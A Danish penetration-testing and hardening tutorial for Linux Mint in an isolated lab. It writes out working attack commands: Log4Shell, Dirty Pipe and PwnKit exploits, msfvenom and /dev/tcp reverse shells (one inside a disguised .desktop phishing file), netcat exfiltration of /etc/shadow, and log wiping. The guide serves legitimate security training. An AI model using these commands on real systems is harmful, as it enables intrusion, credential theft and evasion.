Teste sikkerhed i Linux Mint – Penetrationstest og hardening
Få en komplet guide til penetrationstest og hærdning af Linux Mint. Lær at identificere og udnytte sårbarheder, CVE'er, og beskytte dit system mod angreb.
Indholdsfortegnelse
Introduktion, Jura og Trusselsmodellering for Ingeniører
Dette kapitel etablerer det teoretiske, metodiske og juridiske fundament for penetrationstest af et Linux Mint-system. Som tekniker eller ingeniør er det kritisk at forstå, at defensiv sikkerhed ikke kan adskilles fra offensiv indsigt. For at sikre et system mod eksterne trusler må man systematisere og forstå de angrebsflader, som systemets arkitektur eksponerer.
Trusselsmodellering (STRIDE/PASTA)
Trusselsmodellering er en struktureret proces, hvor man identificerer potentielle sikkerhedstrusler og sårbarheder i en systemarkitektur, vurderer risikoen ved disse og implementerer målrettede modforholdsregler. I ingeniørmæssig sammenhæng anvendes primært to komplementære rammeværk: STRIDE (udviklet af Microsoft) og PASTA (Process for Attack Simulation and Threat Analysis).
STRIDE står for Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service og Elevation of Privilege – en model der kategoriserer trusler ud fra de sikkerhedsegenskaber, de overtræder.
Eksempel: En åben SSH-port (port 22) kan udsættes for Spoofing (MITM), Information Disclosure (svage ciphers) og Elevation of Privilege (regreSSHion).
Juridiske rammer og compliance
En teknisk dygtig penetrationstest er værdiløs, hvis den overtræder gældende lovgivning. At hacke et it-system udefra uden eksplicit, dokumenteret tilladelse er en overtrædelse af straffeloven, uanset om hensigten er godartet eller defensiv.
En penetrationstester skal altid besidde en gyldig, skriftlig tilladelse – en såkaldt Get Out of Jail Free Card – underskrevet af systemets legitime dataansvarlige ejer.
Scope og ROE: Definer præcist hvilke IP-adresser, netværkssegmenter og systemer der må angribes. Specificér tilladte testmetoder, tidsrum og restriktioner (f.eks. forbud mod destruktive DoS-angreb).
Linux Mint som specifikt mål
Linux Mint bygger på Ubuntu (som igen er baseret på Debian), men Mint introducerer specifikke arkitektoniske ændringer, skræddersyede værktøjer og en unik opdateringsfilosofi. Disse særpræg ændrer angrebsfladen sammenlignet med en standard Ubuntu Server eller Debian-installation.
mintsystem – en proprietær samling af konfigurationsfiler og scripts. mintupdate – historisk set har Mint prioriteret systemstabilitet over øjeblikkelige sikkerhedspatches, hvilket kan føre til forældede pakker. Polkit – bruges i udstrakt grad til GUI-administration og kan udgøre en vektor for lokal rettighedseskalering.
cat /etc/os-release – find Mint-version og underliggende Ubuntu-kodenavn.dpkg -l | grep -E "mintsystem|mintupdate" – identificer installerede Mint-pakker.
Arkitektur for det Isolerede Testmiljø (Cyber Range)
Dette kapitel beskriver, hvordan du etablerer et isoleret, kontrolleret og sikkert laboratoriemiljø – en såkaldt Cyber Range. Ved penetrationstest af it-systemer er det afgørende, at testsituationen isoleres hermetisk fra produktionsnetværk og internettet.
Netværksisolering i VirtualBox
Opret host-only netværk
VirtualBox → File → Host Network Manager → Opret vboxnet0 med IP 192.168.56.1/24 og DHCP-server.
Konfigurer VM'erne
Sæt netværkskortet for Kali Linux og Linux Mint til "Host-only Adapter" og vælg vboxnet0.
Netværksisolering i KVM/QEMU
Opret isoleret netværk
virt-manager → Details → Virtual Networks → Add Network, navngiv cyber_range med subnet 192.168.100.0/24 og vælg "Isolated".
Knyt VM'erne til netværket
Skift netværkskilde til 'cyber_range'.
Provisionering af Kali Linux
sudo apt update && sudo apt full-upgrade -ycd /usr/share/wordlists/ && sudo gunzip rockyou.txt.gz
Baseline Linux Mint uden defensive agenter
Installér Linux Mint fra ISO med standardindstillinger. Opret brugeren turing med adgangskode password123 (bevidst svag til test).
CLI-værktøjer til netværksidentifikation
ip -br a – viser interfaces og IP-adresser.nmcli device show – detaljerede netværksoplysninger.ip route show – routingtabel (må kun vise lokalt subnet).
Snapshot-styring og integritetskontrol
sha256sum linux-mint-21.iso – verificer ISO-hash mod officiel værdi.
Tag et snapshot i VirtualBox eller KVM kaldet Clean_Baseline, så du kan rulle tilbage efter hver test.
AI og Large Language Models (LLM) som Penetration Testing Copilots
Dette kapitel beskriver integrationen af kunstig intelligens og Large Language Models (LLM'er) som et supplement til testprocessen. AI kan accelerere scriptgenerering, automatisere sårbarheds-mapping og analysere logdata.
Prompt Engineering til Offensiv Sikkerhed
Formulér prompter, der rammesætter opgaven defensivt, f.eks.: "Du agerer som senior it-sikkerhedsarkitekt. Analyser denne SSH-konfiguration for svage ciphers og giv en tabel med anbefalinger."
Prompt: "Analyser filen for forældede krypto-algoritmer, fejlkonfigurerede adgangsrettigheder eller parametre, der afviger fra CIS Benchmarks."
Automatiserede AI-agenter – lokal installation
Installer Ollama
curl -fsSL https://ollama.com | sh
Hent Llama-3
ollama pull llama3
Generering af Python-fuzzere via CLI
ollama run llama3 "Skriv et råt Python 3 script uden forklaring. Scriptet skal scanne port 22 og 80 på 192.168.56.101" > ai_scanner.py
AI til log- og dataanalyse
cat raw_nmap.txt | ollama run llama3 "Filtrér dette nmap-output. Oplist kun linjer med VULNERABLE eller CVE-numre."
AI som defensiv makker – generering af Ansible playbooks
ollama run llama3 "Generer en Ansible Playbook, der deaktiverer root-login via SSH og aktiverer UFW." > hardening_playbook.yml
Fase 1: Passiv og Aktiv Rekognoscering (Information Gathering)
Rekognoscering kortlægger netværksmiljøet og identificerer aktive værter, åbne porte og tjenesteversioner.
Netværksopdagelse
arp-scan --interface=eth0 --localnet – finder alle aktive enheder på lokalnettet (Lag 2).
fping -a -g 192.168.1.0/24 2>/dev/null – hurtig ping-scanning af hele subnet.
Avanceret portscanning med Nmap
nmap -sS -sV -O -p- -T4 -oA mint_syn_scan 192.168.1.50
nmap -sU -sV --top-ports 100 -T3 192.168.1.50
nmap -sV --script vuln 192.168.1.50
Enumeration af netværksprotokoller
- SMB/Samba:
enum4linux-ng -A 192.168.1.50ogsmbclient -L //192.168.1.50/ -N - NFS:
showmount -e 192.168.1.50ogrpcinfo -p 192.168.1.50 - SSH-audit:
ssh-audit 192.168.1.50
Fase 2: Automatiseret og Manuel Sårbarhedsanalyse
Her transformeres de indsamlede data til konkrete, verificerbare sårbarheder ved hjælp af både automatiserede scannere og manuel verifikation.
Infrastruktur-scanning med OpenVAS/GVM
sudo apt install gvm -ysudo gvm-setup (noter administrator-password)sudo gvm-start → https://127.0.0.1:9392
Opret target med IP'en, kør en "Full and fast"-scanning og analysér resultater med CVSS-scoring.
Web- og applikationsscanning
nikto -h http://192.168.1.50
gobuster dir -u http://192.168.1.50 -w /usr/share/wordlists/dirb/common.txt -t 50
Offline sårbarheds-mapping med Searchsploit
searchsploit OpenSSH 8.9p1searchsploit -m 50123.py (kopier exploit til arbejdsmappe)
Test af Kendte Sikkerhedshuller (CVE-Baserede Angreb)
Oversigt over testede CVE'er
| CVE | Sårbarhed | Berørte versioner | Angrebsvektor |
|---|---|---|---|
| CVE-2021-44228 | Log4Shell | Apache Log4j 2.x < 2.15.0 | JNDI Injection (RCE) |
| CVE-2022-0847 | Dirty Pipe | Linux 5.8 – 5.16.11 | Lokal rettighedseskalering |
| CVE-2021-4034 | PwnKit | Polkit (alle versioner før 0.120) | Lokal root via pkexec |
| CVE-2021-3156 | Baron Samedit | sudo 1.8.2 – 1.8.31p2 | Heap buffer overflow (root) |
| CVE-2024-6387 | RegreSSHion | OpenSSH 8.5p1 – 9.8p1 | Race condition (RCE) |
Log4Shell-test
Lytter på angrebsmaskinen
nc -lvnp 1389
Send payload via curl
curl -H 'User-Agent: ${jndi:ldap://192.168.1.10:1389/a}' http://192.168.1.50
Dirty Pipe (CVE-2022-0847)
uname -r – tjek kernel-version (5.8-5.16.11).gcc dirtypipe.c -o dirtypipe && ./dirtypipe /etc/passwd 0 "root::0:0:root:/root:/bin/bash"
PwnKit (CVE-2021-4034)
python3 cve-2021-4034.py – giver root-shell, hvis sårbar.
Baron Samedit (CVE-2021-3156) – ikke-destruktiv test
sudoedit -s '\' $(python3 -c 'print("A"*65536)') – hvis systemet crasher med "Segmentation fault", er det sårbart.
Fase 3: Ekstern Eksploitering (Exploitation udefra)
Her forsøger vi aktivt at trænge ind i systemet udefra ved at udnytte de fundne svagheder.
Brute-force med Hydra
hydra -l turing -P /usr/share/wordlists/rockyou.txt -t 4 -V -o ssh_success.txt 192.168.1.50 ssh
hydra -P passwords.txt -s 5901 192.168.1.50 vnc
Metasploit – Reverse shell
Generer payload
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf > shell.elf
Start lytter i msfconsole
use exploit/multi/handlerset PAYLOAD linux/x64/meterpreter/reverse_tcpset LHOST 192.168.1.10set LPORT 4444exploit
Man-in-the-Middle (MitM) med Bettercap
bettercap -iface eth0 -eval "net.probe on; arp.spoof on; net.sniff on"
Udnyttelse af netværksdelinger
- Samba:
smbmap -H 192.168.1.50(tjek READ/WRITE),smbclient //192.168.1.50/public -N -c "put shell.elf" - NFS:
mount -t nfs 192.168.1.50:/var/nfsshare /mnt/mint_share
Fase 4: Lokal Rettighedseskalering (Privilege Escalation)
Efter at have opnået en initial adgang, forsøger vi at eskalere til root.
Automatiseret enumeration med LinPEAS
curl -s http://192.168.1.10/linpeas.sh | sh (hentes fra angrebsmaskine via Python HTTP-server)
Manuel SUID- og sudo-enumeration
find / -perm -4000 -type f 2>/dev/null – krydstjek med GTFOBins.
sudo -l – hvis der er NOPASSWD på f.eks. less, kan du bryde ud: sudo less /etc/profile → !/bin/bash
Capabilities og Cronjobs
getcap -r / 2>/dev/null – hvis f.eks. python3 har cap_setuid+ep, kan du køre python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
cat /etc/crontab – hvis et script kører som root og er skrivbart, kan du injicere en reverse shell.
Lokal adgangskode-høstning
cat /etc/shadow – udtræk hashes til offline-cracking.
Fase 5: Post-Exploitation og Persistens
Efter at have opnået root, sikrer vi adgangen og rydder spor.
Opgrader til interaktiv TTY
python3 -c 'import pty; pty.spawn("/bin/bash")' → Ctrl+Z → stty raw -echo; fg → Enter
Installér persistent SSH-nøgle
Opret mappe og sæt rettigheder
mkdir -p ~/.ssh && chmod 700 ~/.ssh
Indsæt offentlig nøgle
echo "ssh-ed25519 AAA..." >> ~/.ssh/authorized_keyschmod 600 ~/.ssh/authorized_keys
Ryd spor i logs
history -c && history -wsed -i '/192.168.1.10/d' /var/log/auth.log
Data Exfiltration via Netcat
På angrebsmaskine: nc -l -p 9001 > exfiltrated_shadow.txt
På mål: nc -w 3 192.168.1.10 9001 < /etc/shadow
Fase 6: Defensiv Log-Analyse og Hændelseshåndtering (Incident Response)
Nu skifter vi perspektiv til det defensive – hvordan opdager vi et angreb?
Audit af systemlogger med journalctl
journalctl -u ssh --since "1 hour ago" | grep "Failed password"journalctl -k -p err..alert
Netværks- og procesovervågning
ss -tulpn – viser aktive netværkssocketslsof -i -P -n – viser åbne netværksfilerstrace -p <PID> -e trace=openat,connect,write – spor en mistænkelig proces
Pakkeanalyse med tcpdump
sudo tcpdump -i eth0 'tcp port 22' -w ssh_attack.pcap -c 1000
Fase 7: Hardening og Systemforsvar (Mitigation)
Her lukker vi hullerne permanent.
Automatiseret audit med Lynis
sudo apt install lynis -ysudo lynis audit system – giver en hardeningscore og konkrete forslag.
Firewall-konfiguration med UFW
Sæt standardpolitik
sudo ufw default deny incomingsudo ufw default allow outgoing
Tillad SSH fra specifikt subnet
sudo ufw allow from 192.168.1.0/24 to any port 22 proto tcp
Aktivér firewall
sudo ufw enable
SSH-hardening
PermitRootLogin noPasswordAuthentication noX11Forwarding no
Derefter sudo sshd -t og sudo systemctl restart ssh.
Fail2ban til IP-banning
sudo apt install fail2ban -ysudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local (sæt enabled=true, maxretry=5, bantime=1h)sudo systemctl restart fail2bansudo fail2ban-client status sshd
Kernel-hardening med sysctl
net.ipv4.ip_forward = 0net.ipv4.icmp_echo_ignore_all = 1net.ipv4.tcp_syncookies = 1net.ipv4.conf.all.accept_redirects = 0net.ipv6.conf.all.accept_redirects = 0
Indlæs med sudo sysctl -p /etc/sysctl.d/99-security.conf.
Integritetskontrol med AIDE
sudo apt install aide -ysudo aideinitsudo cp /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gzsudo aide --check – manuel verifikation.
Konklusion, Rapportering og Kontinuerlig Sikkerhed
Denne guide har givet dig en komplet metodisk tilgang til penetrationstest af Linux Mint. Vi har gennemgået alle faser fra rekognoscering til hardening.
Ved at tænke som en angriber og derefter implementere forsvar, opnår du en proaktiv sikkerhedstilstand. Husk at:
- Altid have skriftlig tilladelse til test.
- Dokumenter alle fund med CVSS-scoring.
- Implementer automatiserede hardening-scripts (f.eks. Ansible).
- Følg NIST SP 800-115, CIS Benchmarks og MITRE ATT&CK.
Metrikker og CVSS
Eksempel: Ubeskyttet Samba-share med skriveadgang uden password giver vektoren CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H – score 9.8 (CRITICAL).
Infrastructure as Code (IaC) med Ansible
Se den AI-genererede playbook fra kapitel 3. Kør med ansible-playbook -i hosts deploy_hardening.yml --check (dry-run) og derefter uden --check.
Afsluttende ressourcer
- NIST SP 800-115 – teknisk vejledning til penetrationstest.
- CIS Benchmarks for Linux Mint
- MITRE ATT&CK Matrix
Appendiks: Social Engineering og Menneskelige Sårbarheder
Selv med tekniske foranstaltninger er mennesker den svageste led. Dette appendiks beskriver, hvordan man manipulerer medarbejdere til at kompromittere systemet.
Phishing med falske .desktop-filer
En .desktop-fil kan have et harmløst ikon, men i virkeligheden eksekvere en reverse shell. Eksempel:
[Desktop Entry]
Type=Application
Terminal=false
Icon=document-open-recent
Name=Projekt_Specifikation.pdf
Exec=bash -c "bash -i >& /dev/tcp/192.168.1.10/4444 0>&1"
Psykologiske teknikker: Pretexting, Baiting, Autoritet
Angribere udnytter tillid, hastværk og hjælpsomhed. En tekniker kan presses til at deaktivere firewallen med sudo ufw disable under falske påskud.
- Awareness-træning: Lær medarbejdere at verificere afsendere og anmodninger.
- Out-of-Band verifikation: Ring altid tilbage på et kendt nummer.
- MFA med TOTP: Implementér Google Authenticator til sudo.
- Signaturscanning: Brug ClamAV og YARA-regler til at detektere phishing-filer.
Opsætning af MFA til sudo
sudo apt install libpam-google-authenticator -ygoogle-authenticator (følg guiden)
Tilføj auth required pam_google_authenticator.so til /etc/pam.d/sudo.
Detektion med ClamAV og YARA
sudo apt install clamav clamav-freshclam -ysudo freshclamclamscan -r --infected /home/turing/Downloads/
Opret detect_phishing.yar med regel, der matcher /dev/tcp/ og bash -c i .desktop-filer. Kør yara detect_phishing.yar -r /home/turing/Desktop/.